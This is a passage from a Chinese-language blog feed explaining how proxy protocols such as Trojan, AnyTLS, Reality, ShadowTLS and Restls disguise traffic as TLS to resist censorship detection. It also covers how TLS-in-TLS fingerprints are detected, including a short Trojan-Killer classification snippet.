&lt;p&gt;这就有一个很典型的 TLS over TLS(ToT) 问题，因为要访问的目标服务器也是一个 https 网站，那么还会与其进行 tls 握手，毕竟是直接套 TLS 传输，虽然有一层 TLS 加密，但还是有一定的特征，能被精准识别别。&lt;&#x2F;p&gt;
&lt;p&gt;Trojan-Killer 就是一个识别 Trojan ToT 特征的工具，它先判断是否是 &lt;code&gt;CONNECT&lt;&#x2F;code&gt; 请求，如果是，那么可能是 https 连接，然后通过判断第一个数据包是否包含 CCS &lt;code&gt;ChangeCipherSpec : var CCS = []byte{20, 3, 3, 0, 1, 1}&lt;&#x2F;code&gt;，如果包含，那么就代表是 https 连接，于是再进行内层数据包的特征识别：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;if upCount &amp;gt;= 650 &amp;amp;&amp;amp; upCount &amp;lt;= 750 &amp;amp;&amp;amp;    ((downCount &amp;gt;= 170 &amp;amp;&amp;amp; downCount &amp;lt;= 180) || (downCount &amp;gt;= 3000 &amp;amp;&amp;amp; downCount &amp;lt;= 7500)) {    fmt.Printf(&amp;quot;%v is Trojan\n&amp;quot;, req.URL.Host)}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个识别逻辑能精准探测 Trojan ToT 的特征。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;anytls-go&quot;&gt;AnyTLS-go&lt;&#x2F;h2&gt;
&lt;p&gt;Anytls 和 Trojan 很像，也是先进行 tls 握手，握手成功后读取第一个数据包，如果第一个数据包能解出来密码，那可以判断是自己人，否则走 fallback 逻辑（断开连接）。这里可以提一下，是由 tls1.3 的会话密钥来防止重放攻击的，每次握手的会话密钥都是不一样。判断出是自己人之后，于是就拨号（dns解析等）对目标服务器发起请求，通过 &lt;code&gt;bufio.CopyConn(ctx, conn, c)&lt;&#x2F;code&gt; 建立双向通信，stream.go 中实现了 &lt;code&gt;net.Conn&lt;&#x2F;code&gt;，数据包会通过 &lt;code&gt;newFrame(cmdPSH, s.id)&lt;&#x2F;code&gt; 发送到 session，session 中有复杂的逻辑来做处理自定义的数据帧(frame)，重点是&lt;strong&gt;动态的 padding 填充&lt;&#x2F;strong&gt;，用来消除 Trojan 那种 ToT 特征。&lt;&#x2F;p&gt;
&lt;p&gt;优点是 Anytls 实现了动态 padding 填充，但缺点还是要提一下，在 go 语言这个 demo 版本下有以下几个缺点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;sni 填写 bing，但是握手时候使用自己生成的随机证书，gfw 一探便知&lt;&#x2F;li&gt;
&lt;li&gt;对于密码错误的情况，fallback 逻辑是直接断开连接，这也不是正常 http 服务器的行为&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;对于第一个缺点，可以使用 mihomo&#x2F;singbox 的实现，通过自己生成的证书，我看很多人直接使用 openssl 签一个 bing 的证书，那这和使用随机证书没啥区别，gfw 一探便知。 有一个相对合理一点的是搭配自己的域名解析，解析到这台服务器，然后使用 acme.sh 等工具给这个域名定期续期证书。但 gfw 看你频繁访问小站，也是比较可疑，而且看了下 mihomo 的实现，fallback 逻辑也没有做一个 http 服务器来返回正常的响应。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reality&quot;&gt;Reality&lt;&#x2F;h2&gt;
&lt;p&gt;Reality 完成了对 tls 的伪装，服务器生成的公私钥，将公钥配置到客户端。客户端在第一个 client hello 包的时候就已经能够生成会话密钥了。传统的 tls1.3 中，需要等 server hello 才能拿到服务器公钥。也就是说，客户端先于服务器拿到会话密钥。客户端用会话密钥将一些数据（客户端版本，时间戳，shortId）加密，藏到了 tls1.3 的 sessionId 中。有时间戳这种东西，进而可以避免一般的重放攻击。服务器收到第一个 client hello 包后，拿到客户端公钥，计算出会话密钥，如果能成功解码出 sessionId 验证了版本，时间戳以及 shortId 后，那就代表是自己人，否则直接 fallback 进行 tcp 的转发，转发到 sni 目标服务器返回真实的服务器证书来进行握手。&lt;&#x2F;p&gt;
&lt;p&gt;当判断出自己人之后，可以直接生成随机证书返回给客户端，和客户端建立起 tls 连接，后面的数据直接封装在 Application Data (tls Record) 中。它没有像 Anytls 一样自定义数据帧，没有消除 ToT 问题。所以需要配合 Vision 流控来消除特征。但 Vision 是固定的 padding，所以还是有一定的特征，不如 Anytls 这种动态 padding 强。&lt;&#x2F;p&gt;
&lt;p&gt;而且使用时间戳的 hmac 验证来防止重放攻击，这本身并不是很靠谱，因为有差异值的出现，gfw 直接在线攻击也是没办法的避免的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shadowtls&quot;&gt;ShadowTLS&lt;&#x2F;h2&gt;
&lt;p&gt;ShadowTLS 和 Reality 类似，也是 tls 的伪装，但 ShadowTLS 的实现极其复杂，模拟了 TLS 的握手流程，作为中间人，在客户端和 SNI 服务器之间进行解析修改并转发。为了更好理解，我们以客户端使用 &lt;code&gt;ss+shadowtls(v3)&lt;&#x2F;code&gt; 访问谷歌为例，使用 bing 作为 SNI 服务器。首先要知道有以下几个角色：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;客户端&lt;&#x2F;li&gt;
&lt;li&gt;ShadowTLS 服务器&lt;&#x2F;li&gt;
&lt;li&gt;bing 服务器&lt;&#x2F;li&gt;
&lt;li&gt;ss 服务器（可以是本机运行，也可以是远程服务器）&lt;&#x2F;li&gt;
&lt;li&gt;google 服务器&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;首先客户端发起了一个 client hello 包到 ShadowTLS 服务器，服务器读取这个包，解析 SNI，并且验证 sessionId 中的 HMAC，这样可以判断是否为自己人。如果不是自己人，则作为一个 SNI 代理双向复制，完成握手。如果是自己人，那么将 client hello 包转发到 bing 服务器，ShadowTLS 服务器与 bing 服务器握手，bing 服务器返回 server hello, 再被 ShadowTLS 服务器截获，然后 ShadowTLS 服务器提取出 server hello 中的 server random 字段，用作后面的 hmac 参数。再将完整的 server hello 包转发到客户端。此时，ShadowTLS 服务器会开启两个异步任务，一个 &lt;code&gt;copy_by_frame_until_hmac_matches&lt;&#x2F;code&gt; 另一个 &lt;code&gt;copy_by_frame_with_modification&lt;&#x2F;code&gt;。客户端收到 server hello 后，会发送 finished 包到 bing 服务器，也要经过 ShadowTLS 的转发，但这个包不会被 &lt;code&gt;copy_by_frame_until_hmac_matches&lt;&#x2F;code&gt; 捕获，因为它不包含 hmac 参数。&lt;&#x2F;p&gt;
&lt;p&gt;这样握手就已经建立起来了，然后 bing 服务器会发送第一条 tls Record，这时候，会被 ShadowTLS 服务器截获，流量经过 &lt;code&gt;copy_by_frame_with_modification&lt;&#x2F;code&gt; 处理，修改其中的数据，插入 hmac，然后再发送到客户端，客户端收到带 hmac 的 tls 记录之后，解析并验证，验证成功后再将访问谷歌的请求发送给 ShadowTLS, 使用 ss 加密，并且也加上 hmac，作为 Application Data 发送回 ShadowTLS 服务器。服务器收到后，会经过 &lt;code&gt;copy_by_frame_until_hmac_matches&lt;&#x2F;code&gt; 处理，收到了带 hmac 的 tls 记录后，判断是客户端发送来的请求，然后解析出 &lt;code&gt;pure_data&lt;&#x2F;code&gt;，也就是 ss 加密的数据。&lt;&#x2F;p&gt;
&lt;p&gt;这里为什么在第一次握手时候已经判断了自己人后，还要进行这么复杂的验证流程？看源码能发现有 &lt;code&gt;hmac_sr_c&lt;&#x2F;code&gt; &lt;code&gt;hmac_sr_s&lt;&#x2F;code&gt; 和 &lt;code&gt;hmac_sr&lt;&#x2F;code&gt; 这 3 个 hmac。之所以这么复杂，是为了完全解决重放攻击。即使前面的 client hello被重放，由于每次握手 bing 服务器都会生成随机的值，导致不对应，所以后面的重放无法生效。&lt;&#x2F;p&gt;
&lt;p&gt;然后获取到 ss 加密数据后，会将这数据转发到配置好的 ss 服务器，ss 服务器将内容解析出明文，再转发到 google 服务器，后面就是客户端与 google 服务器建立 tls 连接。&lt;&#x2F;p&gt;
&lt;p&gt;随后的数据包也是被 ShadowTLS 封装在 Application Data 中，并且添加 hmac 验证。每次服务器和客户端收到数据包都要进行 hmac 的验证(&lt;code&gt;copy_remove_appdata_and_verify&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;p&gt;至此，ShadowTLS 的核心实现就完成了。它没有缺点吗？不一定，因为 bing 这些大公司都是有自己的服务器集群的，它们的 ip 比较固定，GFW 发现一个普通的 VPS ip 上有 bing 的 sni 代理，这很明显也是可疑的。另外这么多加密解密验证，性能上也是有一定损耗。更重要的是每一次连接，都需要和 SNI 进行握手，没有连接池和会话复用，为了获得更好的隐蔽性和安全性，牺牲了这部分性能。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;trojan-gfw&#x2F;trojan&quot;&gt;Trojan&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Trojan-killer&quot;&gt;Trojan-killer&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;REALITY&quot;&gt;REALITY&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&quot;&gt;ShadowTLS&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;9seconds&#x2F;mtg&quot;&gt;MTPROTO&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>restlsRestls-Script: 隐藏你的代理行为</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/restlsrestls-script-隐藏你的代理行为/"/>
        <id>https://vercel.juzhong.asia/obsidian/restlsrestls-script-隐藏你的代理行为/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/restlsrestls-script-隐藏你的代理行为/">&lt;h1 id=&quot;restlsrestls-script-yin-cang-ni-de-dai-li-xing-wei&quot;&gt;restlsRestls-Script: 隐藏你的代理行为&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;restls-script-yin-cang-ni-de-dai-li-xing-wei&quot;&gt;Restls-Script: 隐藏你的代理行为&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;作者: 3andne&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yin-yan&quot;&gt;引言&lt;&#x2F;h2&gt;
&lt;p&gt;根据推测，2022年末的一系列针对TLS相关代理协议的大规模封杀针对的是当前协议的几个特征：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用小众域名、廉价证书&lt;&#x2F;li&gt;
&lt;li&gt;代理工具客户端与普通浏览器截然不同的TLS ClientHello指纹&lt;&#x2F;li&gt;
&lt;li&gt;在TLS通道建立后，客户端与目标网站的连接所产生的代理行为特征。其中比较为人所知的一种特征是就是&quot;TLS in TLS&quot;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Restls已经解决了TLS服务端伪装问题，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls-client-go&quot;&gt;Restls客户端&lt;&#x2F;a&gt;又通过基于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;refraction-networking&#x2F;utls&quot;&gt;utls&lt;&#x2F;a&gt;二次开发的方式解决了客户端指纹问题，剩下的最后一个问题变得迫在眉睫：&lt;strong&gt;Restls将如何抵御被动流量分析？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在Restls-V1中，我们对该挑战的答案是Restls剧本(Restls-Script)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dai-li-xing-wei-te-zheng-yu-tls-in-tls&quot;&gt;代理行为特征与&quot;TLS in TLS&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;尽管各类代理协议都能提供一定程度的加密及完整性保护，让攻击者无法通过数据包的内容判断识别代理服务器，但这无法阻止代理的行为通过侧信道暴露，以&quot;TLS in TLS&quot;为例，下图展示了&quot;TLS in TLS&quot;流量与普通HTTPS流量的区别：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 三联对比图：左「TLS Handshake」常规握手——ClientHello 后服务端回 ServerHello+加密 Certificate+Finished，客户端再发加密 Finished；中「TLS In TLS」——内层 TLS 完整握手嵌进外层加密隧道，代理转发给真实目标 Google；右「Normal TLS」——握手后 HTTP GET&#x2F;POST 及响应封装在加密通道。对比说明代理场景下内层握手与普通流量的结构差异。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;assets&#x2F;tls-in-tls-illustration.png&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;assets&#x2F;tls-in-tls-illustration.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;浏览器所产生的clientHello（即客户端发送的第一个数据包）约为500 Byte。服务器会回复一个包含Certificate、长度在2000-7000 Byte的数据包（ServerHello等其他握手数据包往往一同到达）。接下来，客户端发送一个100 Byte左右的数据包。如果是TLS 1.2的完整握手，服务器还会回复一个100 Byte左右的包。
尽管这些包都被加密过，但TLS握手中大部分包的长度都是基本固定的。虽然服务器Certificate的长度并不确定，但它们普遍超长。不同的代理协议会给这个过程的包增加可以预测的长度，使得&quot;TLS in TLS&quot;可能识别到具体的协议（例如区分Trojan 和 VMess + WSS）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-cun-jie-jue-fang-an&quot;&gt;现存解决方案&lt;&#x2F;h2&gt;
&lt;p&gt;社区针对这个问题有过一些尝试，以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;klzgrad&#x2F;naiveproxy&quot;&gt;naiveproxy&lt;&#x2F;a&gt;中使用的padding最具有代表性，下图是一种可行的加padding的思路。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 「基于 Padding 的缓解」示意图：TLS 握手的每条消息——客户端 ClientHello、服务端 ServerHello、加密的 Certificate、双方的 Finished——之后都附加 Padding 块，使各消息实际长度被填充掩盖，从而削弱基于报文长度特征（如证书大小）的流量分析。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;assets&#x2F;padding.png&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;assets&#x2F;padding.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然而，就如同&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;klzgrad&#x2F;naiveproxy#known-weaknesses&quot;&gt;naiveproxy&lt;&#x2F;a&gt;所总结的，使用padding仍然为流量分析提供了可能的特征。总结下来：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;padding在根本上没有改变TLS握手的行为模式，即客户端发送一个较短包 -&amp;gt; 服务端回复一个到四个包，其中第一个或第二个异常地长 -&amp;gt; 客户端发送一个较短包 -&amp;gt; 服务端回复一个较短包。&lt;&#x2F;li&gt;
&lt;li&gt;padding往往只能增加包的长度，现存协议缺乏把长包拆分成短包的能力。&lt;&#x2F;li&gt;
&lt;li&gt;另外一方面，代理协议在实现中往往提供了统一的padding策略，可能形成统一的协议指纹。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;restls-ju-ben-ni-shuo-liao-suan&quot;&gt;Restls「剧本」：你说了算&lt;&#x2F;h2&gt;
&lt;p&gt;为此，Restls设计了一个可以高度定制化握手后流量行为的机制，我们称之为「剧本」，下图简单展示Restls剧本的能力：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 「Restls Script: You Decide」流程图：客户端先发 ClientHello Part 1，Restls 对外回 Fake Response 伪装普通响应；再收 ClientHello Part 2 转发真实目标；收到 ServerHello+Certificate Part 1 时同样先回客户端 Fake Response，再发 Certificate Part 2+Finished；最后客户端发 Finished+Padding。以拆分报文、穿插伪造响应隐藏代理行为。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;assets&#x2F;restls-script.png&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;assets&#x2F;restls-script.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Restls剧本具有以下能力：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;指定第n个包的长度；如果要发送的数据超过了剧本给定的长度，数据会被截断；如果要发送的数据低于剧本给定的长度，数据会被添加padding&lt;&#x2F;li&gt;
&lt;li&gt;要求对方在收到某个包之后，向自己发送m个response。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;在这两种能力的帮助下，我们可以极其灵活地控制Restls在内层TLS握手阶段的长度及收发模式，从而彻底破坏&quot;TLS in TLS&quot;等特征&lt;&#x2F;strong&gt;。
&lt;strong&gt;每个用户都可以根据喜好设置自己的剧本，使得Restls不存在统一的特征，极大降低被动流量分析的威胁。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yu-fa&quot;&gt;语法&lt;&#x2F;h3&gt;
&lt;p&gt;我们举例说明如何撰写「剧本」。
以&lt;code&gt;&quot;200?10,300~50,70&amp;lt;2,100~1000&amp;lt;1&quot;&lt;&#x2F;code&gt;为例，该剧本决定了Restls前4个用户数据包的行为：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;第一个数据包的长度会在200-210之间，该长度会在启动时确定（假定是203），之后的每次连接的第一个包的长度都会是203。&lt;&#x2F;li&gt;
&lt;li&gt;第二个数据包的长度在300-350之间，与第一个包不同，该长度在每次连接都会随机确定。&lt;&#x2F;li&gt;
&lt;li&gt;第三个包的长度固定为70，同时restls要求对方向自己发送两个回包(&lt;code&gt;&amp;lt;2&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;第四个包的长度在100-1100之间且每次连接都会不同，对方需要发送一个回包(&lt;code&gt;&amp;lt;1&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;ju-xian&quot;&gt;局限&lt;&#x2F;h3&gt;
&lt;p&gt;尽管「剧本」提供了更强的伪装能力，但也有一些限制：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;fake response&lt;&#x2F;code&gt;机制会增加握手阶段的往返次数。尽管它暂时不太可能成为一个可以被针对的特征，但延迟会明显增加。这是一个隐蔽性和用户体验之间的取舍。&lt;&#x2F;li&gt;
&lt;li&gt;目前「剧本」被设计为针对前几个包的机制。虽然你可以把剧本写得很长，但我们并没有提供一个覆盖后续所有流量的语法。后续流量模式的伪装在理论上比较困难。例如，一个视频类的连接的上传和下载极不均衡。无论怎样伪装，都无法隐藏需要传输大量数据的事实。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ShadowTLS——更好的 TLS 伪装代理</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/shadowtls-更好的-tls-伪装代理/"/>
        <id>https://vercel.juzhong.asia/obsidian/shadowtls-更好的-tls-伪装代理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/shadowtls-更好的-tls-伪装代理/">&lt;h1 id=&quot;shadowtls-geng-hao-de-tls-wei-zhuang-dai-li&quot;&gt;ShadowTLS——更好的 TLS 伪装代理&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ihcblog.com&#x2F;a-better-tls-obfs-proxy&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.ihcblog.com&#x2F;a-better-tls-obfs-proxy&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This article also has an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.ihcblog.com&#x2F;a-better-tls-obfs-proxy&#x2F;&quot;&gt;English version&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;本文主要分析当前流行的 Trojan 协议，并针对当前中间人的特点，尝试提出一个更好的解决方案。&lt;&#x2F;p&gt;
&lt;p&gt;该方案的实现是 ShadowTLS，你可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&quot;&gt;Github&lt;&#x2F;a&gt; 上找到完整代码和预编译二进制。&lt;&#x2F;p&gt;
&lt;p&gt;要隐藏流量特征，一个方式是不暴露任何特征，即 shadowsocks 这类：这类协议将协议头也加密传输，所以观测不到任何明显的特征。第二个方式是将自己隐藏在众人之中，最简单的是伪装为 HTTP 或 TLS 流量，分别对应 simple-obfs 和 Trojan 的做法。&lt;&#x2F;p&gt;
&lt;p&gt;方式一现在已经比较容易识别了，未命中任何协议且时序特征符合 web 流量，无脑认为是该类型流量即可。方式二近年来越来越成为主流方式，其中使用最广的就是 Trojan 协议（simple-obfs 只是在最开始加一个 http 协议头，过于容易识别，在此不做分析）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;trojan-shi-zen-me-gong-zuo-de&quot;&gt;Trojan 是怎么工作的&lt;&#x2F;h2&gt;
&lt;p&gt;Trojan 想做到的事情是将流量封装为一个正常的 TLS 流量。由于 TLS 流量是加密的，所以中间人不易识别出这到底是普通 web 流量还是封装过一层的代理流量。为了更像一点，Trojan 还对主动探测做了防御，浏览器直接打开对应网页可以正常响应。&lt;&#x2F;p&gt;
&lt;p&gt;那么这里它要解决的问题主要是这几个：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;代理请求承载：要能够将代理请求编码为二进制，server 侧要能解码这个请求，并根据请求来建立远程连接并中继流量。&lt;&#x2F;li&gt;
&lt;li&gt;区分客户端和主动探测者的流量：需要某种手段来区分客户端的请求和主动探测者的请求，并做不同的处理。&lt;&#x2F;li&gt;
&lt;li&gt;对客户端和主动探测者流量的后续处理：对区分后的流量做分别处理。客户端流量需要用 TLS 协议承载，主动探测者的流量也需要能够 act like http。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;官方的协议规范在这里有写：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;trojan-gfw.github.io&#x2F;trojan&#x2F;protocol.html&quot;&gt;The Trojan Protocol&lt;&#x2F;a&gt;。解决问题 1 很简单，因为上层暴露是 socks5 代理，所以直接把 socks5 代理请求头打包进去就可以了（和 shadowsocks 类似）。&lt;&#x2F;p&gt;
&lt;p&gt;重点在于问题 2 和 3。这里的方式是先建立 TLS session，之后在 TLS 连接内发通过前 56 byte 做鉴权，如果这 56 byte 符合我们 preshared key 的某种 hash 结果，那么我们就认为这个流量是我们 client 发出的。&lt;&#x2F;p&gt;
&lt;p&gt;这里很明显会让人注意到一个问题：我作为一个攻击者，在建立 TLS session 后发送一个小于 56 byte 的 HTTP 请求，就可以通过判定是否卡住来判别是否是 Trojan server 了呀？因为需要 56 byte 才能区分我是谁，那在数据到达 56 byte 之前是不能做路由的。&lt;&#x2F;p&gt;
&lt;p&gt;事实上这个问题并不存在。我们来看一下协议设计的细节：这个 56 byte 是 hex(SHA224(password))，后面会发送 CRLF。是不是很奇怪？一个二进制协议为什么要 CRLF 这种文本协议才会使用的东西？并且直接发 SHA224 二进制结果不是要比发 hex 效率更高？其实这就是协议设计的精妙所在。&lt;&#x2F;p&gt;
&lt;p&gt;这个 CRLF 其实是为了对应 HTTP 流量的。在 server 侧处理时，直接 read_until CRLF，之后就可以做路由。因为 HTTP 流量要得到处理，一定是在其发送了 CRLF 之后。&lt;&#x2F;p&gt;
&lt;p&gt;所以读到第一个 CRLF 后，要么 hex(SHA224(password)) 发完了，要么 HTTP 请求的第一行发完了。无论哪一种情况，我们都已经可以做路由区分了。比如如果我们发现数据不够 56 byte，那么可以直接判定为主动探测流量，而不用非要等待接收完 56 byte。而为什么要 hex，就是为了避免 hash 结果中意外包含 CRLF 影响我们的判定。&lt;&#x2F;p&gt;
&lt;p&gt;顺便说一个题外话：在调研这个协议时，我读了 trojan c 和 go 版本的实现。事实上 golang 版本的实现是有问题的，可能作者没有 get 到协议设计里的这些 trick，它直接做了一次 read，如果数据不够或 hash 不符就判定为主动探测流量。但我们并不能将 read 一次读够 56 byte 视为理所当然，tcp 是流协议，一次读 1 byte 就是符合 posix 规范的返回结果。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;勘误：经网友 RPRX 指正，这里的说法确实有误。此处读写的不是裸 TCP 流而是 TLS 流量。TLS 流量本身分帧，理论上有保证读写一对一对应的能力。&lt;&#x2F;p&gt;
&lt;p&gt;Golang 官方 TLS 库对外暴露 &lt;code&gt;io.Reader&lt;&#x2F;code&gt;, &lt;code&gt;io.Writer&lt;&#x2F;code&gt; 接口，该接口是流式接口且官方实现的 TLS 库并不保证对应关系，所以此处说法应当纠正为对特定条件下的特定行为而非接口的依赖。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;trojan-you-shen-me-wen-ti&quot;&gt;Trojan 有什么问题&lt;&#x2F;h2&gt;
&lt;p&gt;看起来一切正常？我们将所有的数据全部包装进 TLS，外界区分不出加密的数据到底是什么，仿佛我们一直在请求某个 web 站，并且如果我们浏览网页的话，代理流量的时序特征也是 web 流量。&lt;&#x2F;p&gt;
&lt;p&gt;如果不考虑实现上的一些特征，这里唯一暴露的东西是 SNI 和对应证书。在 TLS Client Hello 中会暴露我们请求的目标域名，而长时间大流量地请求一个小众域名，这可能并不正常。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;geng-hao-di-wei-zhuang-fang-shi&quot;&gt;更好地伪装方式&lt;&#x2F;h2&gt;
&lt;p&gt;还有更好的伪装方式吗？我们要用 TLS，就得自己处理握手；要握手就得用自己的域名签发证书。似乎是个无解的问题。。&lt;&#x2F;p&gt;
&lt;p&gt;诶等等！我们只是伪装为 TLS 流量，谁说真的要用 TLS 了？&lt;&#x2F;p&gt;
&lt;p&gt;那么我们能不能做一次 “TLS 表演” 给中间人看呢？server 可以直接将这个表演数据代理到某些大公司或机构的白名单的服务器上，这样中间人看到的握手就是证书合法的、和白名单域名的握手。在握手结束后，client 和 server 切换模式，利用已建立的连接传输自定义数据即可。&lt;&#x2F;p&gt;
&lt;p&gt;切换模式需要双方都能感知到握手结束，这里我们强制使用 TLS1.2，在观测到一次 Change Cipher Spec 包后，再读一个 Handshake 包即标记握手完成。&lt;&#x2F;p&gt;
&lt;p&gt;我们不想自己实现数据加密和代理协议封装，所以这里的自定义数据就直接采用了 shadowsocks 来处理。我们的 ShadowTLS 作为 shadowsocks 流量的一层 wrapper 工作，对于 client 就是在流量上加一层握手数据，对于 server 就是把这层握手数据剥除掉。&lt;&#x2F;p&gt;
&lt;p&gt;到此为止，如果我们假定中间人：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;不对握手后的流量做分析&lt;&#x2F;li&gt;
&lt;li&gt;不进行主动探测&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;那么我们的协议可以很有效地工作。抓包可以看出，中间人视角下我们真的在和一个受信任的域名进行 TLS 通信。根据反馈，这个版本从 2022 年 8 月末到 10 月初已经帮助了一些人摆脱了针对域名的 QoS 的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shadowtls-xie-yi-v1-de-wen-ti&quot;&gt;ShadowTLS 协议(v1)的问题&lt;&#x2F;h2&gt;
&lt;p&gt;前面我们只做了一层很简单的“表演”，并有两个假定，但事实上这两个假定并不成立。我们需要能够应对这两个问题。&lt;&#x2F;p&gt;
